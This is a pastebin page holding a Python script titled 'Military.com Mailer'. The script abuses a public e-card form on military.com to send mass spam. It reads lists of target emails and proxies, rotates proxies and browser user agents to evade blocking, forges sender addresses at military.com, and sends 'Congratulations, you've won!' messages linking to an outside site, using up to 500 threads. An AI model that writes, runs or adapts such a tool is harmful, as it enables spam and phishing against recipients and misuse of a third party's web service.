Part of Slepp's ProjectsPastebinTURLImagebinFilebin
Feedback -- English French German Japanese
Create Upload Newest Tools Donate
Sign In | Create Account

Advertising

Stuff
Wednesday, May 23rd, 2012 at 6:34:22pm MDT 

  1. #!/usr/bin/env python
  2. # --------------------------------------------------------------
  3. # Title:  Military.com Mailer
  4. # Author: o sup i hear u mail
  5. # Source: http://www.military.com/ecards/1,14825,women,00.html
  6. # Date:   5/23/12
  7. # Method: Form mailer, rotate socks5/http/etc proxies, randomize
  8. #         referer, random image from selection, multithreading
  9. # --------------------------------------------------------------
  10.  
  11. import threading
  12. import os
  13. import sys
  14. import math
  15. import string
  16. import urllib2
  17. import urllib
  18. import re
  19. import random
  20. import pycurl
  21. import StringIO
  22. import cStringIO
  23.  
  24. # Splits the email list into partitions based on how
  25. # many threads are currently running.
  26. def chunker(l, n):
  27.     avg = len(l) / float(n)
  28.     out = []
  29.     last = 0.0
  30.  
  31.     while last < len(l):
  32.         out.append(l[int(last):int(last + avg)])
  33.         last += avg
  34.  
  35.     return out
  36.  
  37. # Initial configuration options
  38. print("Welcome to Military.com Mailer\n")
  39. print("------------------------------------\n")
  40. usingThreads = input('Please enter how many threads {e.g. 1->500}')
  41. usingData = raw_input('Please enter a data source {e.g. emails.txt one email per line}')
  42. usingProxies = raw_input('Please enter a proxy source {e.g. proxies.txt for ip:port per line}')
  43. images = ['008', '001', '002', '003', '004', '006', '008', '015']
  44. baseURL = 'http://ecards.military.com/cgi-bin/postcard.cgi?image=/postcard-direct/images/women/ecard_women_'
  45. endURL = '.jpg'
  46. email_list = open(usingData, 'r')
  47. emails = email_list.readlines()
  48. proxy_list = open(usingProxies, 'r')
  49. proxies = proxy_list.readlines()
  50.  
  51. # Store user agent strings
  52. user_agents = ['Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)', 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)', 'Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)', 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; Media Center PC 4.0; SLCC1; .NET CLR 3.0.04320)']
  53.  
  54. emailsThreads = chunker(emails, usingThreads)
  55. emailCounter = 0
  56.  
  57. totalEmails = 0
  58.    
  59. # Begin mailing process
  60. class MyThread( threading.Thread ):
  61.  
  62.     def run( self ):
  63.  
  64.         global images
  65.         global emailCounter
  66.         global baseURL
  67.         global endURL
  68.         global user_agents
  69.         global r_name
  70.         global totalEmails
  71.  
  72.         emailFlip = 0
  73.         emailFile = emailsThreads[emailCounter]
  74.  
  75.         # random proxy
  76.         proxy = random.choice(proxies)
  77.  
  78.         while(emailFlip < len(emailFile)):
  79.  
  80.                 r_email = emailFile[emailFlip].strip()
  81.                 r_name = 'Recipient'
  82.                 title = ''
  83.                 s_name = 'Test'
  84.                 s_email = str(random.random()) + '@military.com'
  85.                 subject = "Congratulations, you've won!"
  86.                 message = "Please visit http://teacademy.com for further information"
  87.  
  88.                 user_agent = random.choice(user_agents)
  89.                 imgSelect = random.choice(images)
  90.                 mailURL = baseURL + imgSelect + endURL
  91.                 mail_data = 'subject=' + subject + '&r_name=' + r_name + '&r_email=' + r_email + '&s_name=' + s_name + '&s_email=' + s_email + '&midi=none&message=' + message + '&method=web&opt=no+opt_in&agree=agree&opt_in=yes&agreement=yes&object=&image=%2Fpostcard-direct%2Fimages%2Fwomen%2Fecard_women_' + imgSelect + '.jpg&title=' + title + '&config=default.cfg&send=Send+Postcard'
  92.        
  93.  
  94.                 responses = cStringIO.StringIO()
  95.                 crz = pycurl.Curl()
  96.                 crz.setopt(pycurl.URL, mailURL)
  97.                 crz.setopt(pycurl.COOKIEFILE, 'cookie.txt')
  98.                 crz.setopt(pycurl.COOKIEJAR, 'cookie.txt')
  99.                 crz.setopt(pycurl.POST, 1)
  100.                 crz.setopt(pycurl.POSTFIELDS, mail_data)
  101.                 crz.setopt(pycurl.VERBOSE, 1)
  102.                 crz.setopt(pycurl.REFERER, mailURL)
  103.                 crz.setopt(pycurl.USERAGENT, user_agent)
  104.                 crz.setopt(pycurl.PROXY, proxy.split(':')[0])
  105.                 crz.setopt(pycurl.PROXYPORT, int(proxy.split(':')[1]))
  106.                 crz.setopt(pycurl.PROXYTYPE, pycurl.PROXYTYPE_HTTP)
  107.                 crz.setopt(pycurl.WRITEFUNCTION, responses.write)
  108.                 crz.perform()
  109.                 crz.close()
  110.  
  111.                 tiger = responses.getvalue()
  112.                 #print tiger
  113.  
  114.                 emailFlip = emailFlip + 1
  115.                 totalEmails = totalEmails + emailFlip
  116.                 print("Sent " + str(totalEmails) + " total emails.\n")
  117.  
  118.  
  119.         emailCounter = emailCounter + 1
  120.        
  121.  
  122.        
  123.  
  124.  
  125. # Run the program multithreaded
  126. for x in xrange( usingThreads ):
  127.     MyThread().start()
  128.  
  129. # Holds the screen so user needs to type after its done for window
  130. # to close, or click [x].
  131. g = raw_input()

advertising

Update the Post

Either update this post and resubmit it with changes, or make a new post.

You may also comment on this post.

update paste below
details of the post (optional)

Note: Only the paste content is required, though the following information can be useful to others.

Save name / title?

(space separated, optional)



Please note that information posted here will expire by default in one month. If you do not want it to expire, please set the expiry time above. If it is set to expire, web search engines will not be allowed to index it prior to it expiring. Items that are not marked to expire will be indexable by search engines. Be careful with your passwords. All illegal activities will be reported and any information will be handed over to the authorities, so be good.

worth-right